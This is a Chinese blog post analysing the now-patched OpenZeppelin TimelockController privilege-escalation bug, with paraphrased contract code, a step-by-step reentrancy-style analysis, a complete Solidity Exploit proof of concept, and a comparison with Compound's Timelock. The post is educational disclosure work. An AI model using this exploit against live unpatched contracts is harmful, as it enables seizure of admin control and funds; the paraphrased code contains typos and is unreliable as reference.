Hack Replay - Time lock

  • bixia1994
  • 更新于 2021-09-27 22:23
  • 阅读 3731

最近在项目中要使用到Timelock和权限管理部分,故查阅了下Openzepplin的相关实现,意外发现Openzepplin在前两天刚刚给Timelock打补丁,原因是Timelock合约在今年8月份前的版本实现中存在一个严重的漏洞,允许任何执行者升级其权限成为admin,而执行恶意程序。

Hack Replay - Time lock

最近在项目中要使用到Timelock和权限管理部分,故查阅了下Openzepplin的相关实现,意外发现Openzepplin在前两天刚刚给Timelock打补丁,原因是Timelock合约在今年8月份前的版本实现中存在一个严重的漏洞,允许任何执行者升级其权限成为admin,而执行恶意程序。

出于学习的目的,这里先将Openzepplin实现的Timelock合约和相关的Access合约进行简单的分析,然后再指出漏洞,给出漏洞的POC,最后再与compound中实现的Timelock合约进行对比。

本文的参考链接如下:

TimelockController Vulnerability Postmortem - General / Announcements - OpenZeppelin Community

Analysis of OZ TimelockController security vulnerability patch | by Damian Rusinek | Sep, 2021 | Medium

Time Lock合约分析

https://github.com/OpenZeppelin/openzeppelin-contracts/commit/cec4f2ef57495d8b1742d62846da212515d99dd5

这里分析的TimeLock合约为Openzepplin再给它打补丁之前的合约。

首先需要知道的是:什么是Time Lock合约,以及为什么需要Time Lock合约

简单来讲Time Lock合约是一个时间锁合约,由Openzepplin于去年11月引入到3.3版本中,它实现的功能是延时执行合约动作。一个典型的例子是将TimelockController定位为dApp智能合约的管理员,因此,每当一个特权行动要被执行时,它必须等待Timelock指定的某个时间。

使用TimeLock合约可以带来如下两方面的好处:首先,它为项目团队提供了一个额外的安全层,对系统中预期的每一个特权行动给予提示。这使得团队能够检测和应对被破坏的管理账户的恶意调用。其次,它保护社区成员免受项目管理本身的影响,允许成员在不同意任何即将发生的变化时退出协议。

在Time Lock合约的核心,其设置了如下角色。提议者:用于将需要执行的方法以及对应的方法参数提交给Schedule方法,该方法会通过一个哈希运算得到将要执行的方法ID,然后将该ID及该方法预期执行的时间注册到提议表中。执行人:则提起该笔交易,同样通过execute方法计算处将要执行的方法ID,然后查询提议表中该方法ID是否存在,以及该方法ID对应的执行时间是否已经满足,如果都满足要求,则执行该笔交易。注意:存储在Timelock合约中的只有方法的ID和对应的执行时间,方法的参数及地址等均不存放在合约里。

image20210903145322051.png

//schedule方法只能是提议者调用
function schedule(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPSER_ROLE) {
    //计算方法的ID, 思考:delay不应该计算进入方法ID。
    bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));
    //写入提议表之前需要验证什么?需要验证delay是不是有效?即delay超过最小delay时间没有。还需要验证该方法是不是已经写如果提议表了
    require(delay >= _minDelay);
    require(_timestamps[id] == 0);
    //写入提议表
    _timestamps[id] = delay.add(block.timestamp);
}
//execute方法只能是执行者调用
function execute(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
    //计算方法的ID
    bytes32 id = keccak256(abi.encodePacked(target,value,data,predecessor,salt));
    //查提议表,得到方法ID对应的时间戳
    uint256 timestamp = _timestamps[id];
    //验证方法ID对应的时间戳有效即不为0,且小于当前时间=>证明可以开始执行该方法
    require(timestamp >= 1 && timestamp <= uint256(block.timstamp));
    //如果predecessor不为空,则说明执行该方法前,前任必须先要执行完毕。如何判断一个方法已经执行完毕呢?将其赋值为1
    if (predecessor != bytes32(0)) {
        require(_timestamps[predecessor] == 1);
    }
    //更新提议表中的提议时间为1,防止被重复执行
    _timestamps[id] = 1;
    //调用call来执行方法
    (bool success,) = address(target).call{value:value}(data);
    require(success);    
}

OpenzepplinTimelock实现中,它同时还实现了批量方法:

function scheduleBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
    //批量执行前,需要对参数进行校验
    require(targets.length == values.length && targets.length == datas.length);
    //批量提交议案,事实上并不是For循环调用提交议案schedule函数,并不是同时插入多个议案到提议表中,而是插入一个批量执行的议案到提议表中
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    _timestamps[id] = delay.add(block.timestamp);
}
function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,bytes32 salt) public virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
    //批量执行前,需要对参数进行校验
    require(targets.length == values.length && targets.length == datas.length);
    //计算批量执行议案的ID,确认该ID对应的时间戳满足要求,即> 1 and < now
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    uint256 timestamp = _timestamps[id];
    require(timestamp > 1 && timestamp <= block.timestamp);
    //如果predecessor不为0,则判断predecessor的提案是否执行完成
    if (predecessor != bytes32(0)) {
        require(_timestamps[predecessor] == 1);
    }
    //更新该批量执行议案的ID对应的时间戳为1
    _timestamps[id] = 1;
    //For循环批量调用
    for (uint i=0; i < targets.length; i++) {
        address target = targets[i];
        uint256 value = values[i];
        bytes memory data = datas[i];
        (bool success, ) = address(target).call{value:value}(data);
        require(success);
    } 
}

Access合约分析

Openzepllin的权限管理合约是一个实现了ERC165的合约,它的整体思路是设置不同的角色,然后通过grantRolerevokeRole给不同的角色添加相应的用户。权限管理合约中,还存在一个全局的ADMIN角色,用于给不同角色添加或者删除用户。当需要给函数添加权限管理时,就在函数方法上添加对应的modifier

Access合约在合约里实际上维护了一个对象结构体,来保存每个address的权限信息:

map(bytes32 => RoleData) private _roles;
struct RoleData {
    mapping(address => bool) members;
    bytes32 adminRole;
}
实际的映射关系为:
keccak256("TIMELOCK_ADMIN_ROLE") => address(Owner()) => true
keccak256("PROPOSER_ROLE") => address(proposer1) => true
keccak256("EXECUTOR_ROLE") => address(executor) => true

从上述的结构体可以看到,要设置一个角色时,需要分两步,第一步设置这个角色组的admin,第二步添加这个角色组的成员。
//第一步设置这个角色组的admin
function _setupRoleAdmin(bytes32 role,bytes32 adminRole) internal virtual {
    //拿到之前的preAdmin
    bytes32 prev_adminRole = _roles[role].adminRole;
    //给对应的角色组设置adminRole
    _roles[role].adminRole = adminRole;
}
//第二步:给角色组添加成员
function _grantRole(bytes32 role,address account) private {
    //先进行判断:即该成员是否已经是该角色组的活跃成员
    if(_roles[role].members[account] != true) {
        _roles[role].members[account] = true;
    }
}
//第三步:移除角色组中的成员
function _revoke(bytes32 role,address account) private {
    //先判断该角色在该角色组中,且活跃
    if (_roles[role].members[account] == true) {
        _roles[role].members[account] = false;
    }
}
//第四步:检查权限
function _checkRole(bytes32 role,address account) internal view {
    //先判断该账户在角色组中
    bool success = _roles[role].members[account];
    require(success);
    //换一种写法:使用revert将失败信息传递出去
    if (!success) {
        revert(string(abi.encodePacked("AccessControl: account",Strings.toHexString(uint160(account),20)," is missing rolw ",Strings.toHexString(uint256(role),32))));
    }
}

漏洞合约

Openzepplin打补丁之前的Timelock合约中,存在者如下漏洞:

function executeBatch(address[] calldata targets,uint256[] calldata values,bytes[] calldata datas,bytes32 predecessor,uint256 salt) public payable virtual onlyRoleOrOpenROle(EXECUTOR_ROLE) {
    //参数检查
    require(targets.length == values.length && targets.length == datas.length);
    //计算提案Id
    bytes32 id = keccak256(abi.encode(targets,values,datas,predecessor,salt));
    //没有马上验提案Id的有效性
    //验证predecessor是否不为空,且是否执行完毕
    require(predecessor == bytes32(0) || _timestamps[predecessor] == 1);
    //for循环调用
    for (uint256 i=0; i < targets.length; i++) {
        _call(id,i,targets[i],values[i],datas[i]);
    } 
    //验证提案有效性
    require(_timestamps[id] > 1 && _timestamps[id] <= block.timestamp);
    //更新提案
    _timestamps[id] = 1;
}

分析该方法,首先明确External Call: _call(id,i,targets[i],values[i],datas[i]);, 其次明确该External Call是否可以被hook?由于没有对地址targets[i]进行检查,故该external call可以被hook。第三步:是否满足三种恶意模式。可以看到这里满足第二种恶意模式:data read after unsafe External Call.

思考如何利用Unsafe External Call来影响到data read, 即_timestamps[id].

可以看到,Timelock合约中的schedule方法可以写入值到_timestamps[id]

schedule onlyRole(PROPSER_ROLE):
     _timestamps[id] = delay.add(block.timestamp);

但是schedule只能由Proposer来访问。且schedule中没有External Call。那这里我们是不是就没有思路了呢?注意到这里是For循环,for循环的含义是循环体内部的函数会连续执行。这里的循环体内部就只有call函数。故其执行的顺序为:

Executor->executeBatch->call(addr1)->call(addr2)->call(addr3)->check->update

我们现在想要它的执行顺序为:

Executor->executeBatch->call(addr1)->call(addr2)->Proposer.schedule->update(_timestamps)->check(_timestamps)->update

故为满足proposer来调用schedule方法,最简单的方式是通过admin给外部地址alice添加角色Proposer

Executor->executeBatch->this.grantRole(Proposer)->this.updateDelay(0)->Proposer.schedule->->update(_timestamps)->check(_timestamps)->update

漏洞分析

在具体编写POC时,需要注意msg.sender分别是谁。

在step1中,调用方法为:address(timelockController).updateDelay(0) 由于这是在调用executeBatch内部的for循环里调用的,故其msg.sender就是timelock自身。

EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> for -> call -> timelock.updateDelay

这也是为什么可以绕过updateDelay中的检查:

function updateDelay(uint256 newDelay) external virtual {
    requrie(msg.sender == address(this));
    _minDelay = newDelay;
}

同理针对setp2, address(timelockController).grantRole()也是一样

其次,在step3中,此时已经将Exploit赋予了admin权限,故在step3中,需要用Exploit合约作为msg.sender, 故调用方式为:

EOA -> call -> Exploit.hack -> call -> timelock.executeBatch -> call -> Exploit.attack -> call -> timelock.scheduleBatch

在具体的attack函数中,在执行attack函数后,在执行executeBatch结束前,满足如下条件

_timestamps[id] > 1 && _timestamps[id] <= block.timestamp

故需要构造一个相同的ID才行,并让delay设置为0即可。

漏洞利用

从上面的漏洞合约分析中,可以看到,关键点在于For循环体内的函数是会连续执行的,得到的函数执行顺序是

call_1->call_2->call_3->check->update

这里的3个call都是可以由我们自己自由控制的,unsafe External Call的核心其实是在函数执行的中间,控制函数执行的顺序。故给出的POC如下:

pragma solidity ^0.8.0;
import "./TimeLockController.sol";
import "./ITimeLockController.sol";
import "hardhat/console.sol";
contract Setup {
    address[] public proposer;
    address[] public executor;
    TimelockController public timelock;
    uint public minDelay;
    constructor(address _proposer) {
        proposer.push(_proposer);
        //anybody can be an executor
        executor.push(address(0));
        minDelay = 86400;
        timelock = new TimelockController(minDelay,proposer,executor);
    }
}
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "./Setup.sol";

contract Exploit {

    Setup public setup;
    TimelockController public timelock;
    uint public minDelay;
    bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
    bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
    bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
    uint256 internal constant _DONE_TIMESTAMP = uint256(1);

    constructor(address _setup) public {

        setup = Setup(_setup);

        timelock = setup.timelock();

    }
    function hack() public {
        //executebatch->timelock.updateDelay(0)->timelock.grantRole(PROPOSER_ROLE,address(Exploit))->address(this).schedule(delay=0)

        //executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt)

        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory datas = new bytes[](3);
        bytes32 predecessor = bytes32(0);
        bytes32 salt = bytes32(0);
        uint256 delay = 0;

        //step1: timelock.updateDelay(0)
        targets[0] = address(timelock);
        values[0] = 0;
        datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));

        //setp2: timelock.grantRole
        targets[1] = address(timelock);
        values[1] = 0;
        datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));        
        //setp3: exploit.attack
        targets[2] = address(this);
        values[2] = 0;
        datas[2] = abi.encodePacked(this.attack.selector);
        timelock.executeBatch(targets,values,datas,predecessor,salt);
    }

    function attack() public payable {
        //step1 : grant PROPOSER_ROLE to self
        timelock.grantRole(PROPOSER_ROLE,address(this));
        //grant ADMIN_ROLE to tx.origin so that we can use.
        timelock.grantRole(TIMELOCK_ADMIN_ROLE,tx.origin);

        //setp2 : submit a scheduleBatch => because we need to bypass the _timestamps[id], as well the id is executeBatch
        //make delay=0
        //scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay) 
        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory datas = new bytes[](3);
        bytes32 predecessor = bytes32(0);
        bytes32 salt = bytes32(0);
        uint256 delay = 0;        
        //step1: timelock.updateDelay(0)
        targets[0] = address(timelock);
        values[0] = 0;
        datas[0] = abi.encodePacked(timelock.updateDelay.selector,uint256(0));       
        //setp2: timelock.grantRole
        targets[1] = address(timelock);
        values[1] = 0;
        datas[1] = abi.encodePacked(timelock.grantRole.selector,bytes32(TIMELOCK_ADMIN_ROLE),bytes32(uint256(uint160(address(this)))));       
        //setp3: exploit.attack
        targets[2] = address(this);
        values[2] = 0;
        datas[2] = abi.encodePacked(this.attack.selector);      
        timelock.scheduleBatch(targets,values,datas,predecessor,salt,delay);

    }    
}

image20210904233233098.png

与Compound中Timelock对比

compound中Timelock设计思路与openzepplinTimelock设计思路不完全一致。Compound的想法比较简单,只有admin是提议者,也只有admin是执行者。与Openzepplin中使用_timestamps[id]=block.timestamp+dylay的方式不同,compound中仅使用queuedTransactions[id]=true/false来判断该笔提议是否已经被提议者提交。当然,compound中判断一笔提议的到期时间也是自己的逻辑:

bytes32 txHash = keccak256(abi.encode(target,value,signature,data,eta));
而在openzepplin中:
bytes32 id = keccak256(abi.encode(target,value,data,predecessor,salt));

openzepplin的方法id中并不包含该方法的到期时间,因为该方法的到期时间写入了_timestamps[id]中,而compound的方法id中包含了该方法的到期时间。同时也说明compound中将同一个方法在不同的到期时间执行视为不同的方法。这一点不如openzepplin的设计合理。

compound中也没有批量执行的概念和先序执行的概念,即缺少了scheduleBatch, executeBatch以及predecessor参数,对于一笔需要前一笔交易必须执行完成后才能执行的提案,openzepplin有更好的保护机制。但同时compound也将权限限制为admin才能提交,执行提案,这一点也降低了这一风险,但增加了中心化程度。

点赞 3
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code